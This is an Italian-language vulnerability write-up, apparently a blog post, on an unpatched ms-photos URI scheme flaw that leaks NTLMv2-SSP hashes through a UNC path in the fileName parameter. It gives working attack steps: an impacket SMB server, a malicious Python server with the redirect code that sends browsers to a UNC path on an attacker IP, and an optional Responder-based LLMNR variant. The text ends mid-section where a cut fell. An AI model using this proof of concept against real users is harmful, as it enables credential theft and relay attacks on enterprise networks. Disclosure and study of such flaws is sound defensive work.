
Nuova vulnerabilità zero-day che consente di divulgare hash NTLM dai browser con un clic.
Lo schema URI ms-photos di Microsoft accetta fileName come parametro, che può essere inviato con un percorso UNC, causando la fuga di hash NTLMv2-SSP una volta aperto. Creando un link appositamente formattato, un attaccante può indurre una vittima ad avviare l'app Microsoft Photos direttamente dal browser. Quando viene attivato, questo comportamento provoca la fuga dell'hash NTLMv2-SSP della vittima verso un server controllato dall'attaccante. Questo problema consente l'esposizione delle credenziali e potenziali attacchi relay in ambienti enterprise, richiedendo solo un'interazione minima da parte dell'utente (apertura dell'app). Microsoft non ha riconosciuto la vulnerabilità e non è stato emesso alcun CVE. Inoltre, mi sono ispirato al blog di Syss del 2022.
Poiché la challenge NTLMv2-SSP può essere fatta trapelare verso percorsi UNC pubblicamente accessibili (a meno che non sia impostata una regola firewall SMB/445 in uscita), la vulnerabilità può essere combinata con infezioni di siti web, portando ad attacchi alla supply chain.
Dalla documentazione MSDN sullo schema URI possiamo trovare quanto segue:
Avvia il server SMB
# With a picture: Opens the photo on the target with photos.exe
# Without a picture: Nothing, no photos.exe process window
impacket-smbserver share . -smb2support
Avvia il server Python malevolo
# Edit first the information about the IP, share, and filename for UNC coercing.
python3 ms-photos-server.py
Naviga alla posizione
Apri Chrome e naviga all'indirizzo /test

Inoltre, può essere fatto con responder. Qualsiasi dominio non risolto che emette una richiesta LLMNR verrà reindirizzato allo script, consentendo di forzare qualsiasi utente invece di mostrare una finestra di autenticazione NTLM utente/password. Per farlo funzionare, esegui prima lo script e poi responder.

Funziona perché la nostra applicazione reindirizza direttamente a uno schema URI ms-photos, contenente il percorso UNC del nostro server:
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/":
self.send_response(302) # HTTP 302 Found (temporary redirect)
self.send_header('Location', 'ms-photos:viewer?fileName=\\\\192.168.159.129\\share\\Capture.png')
self.end_headers()
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b"Not Found")
Reindirizzamento dal lato client: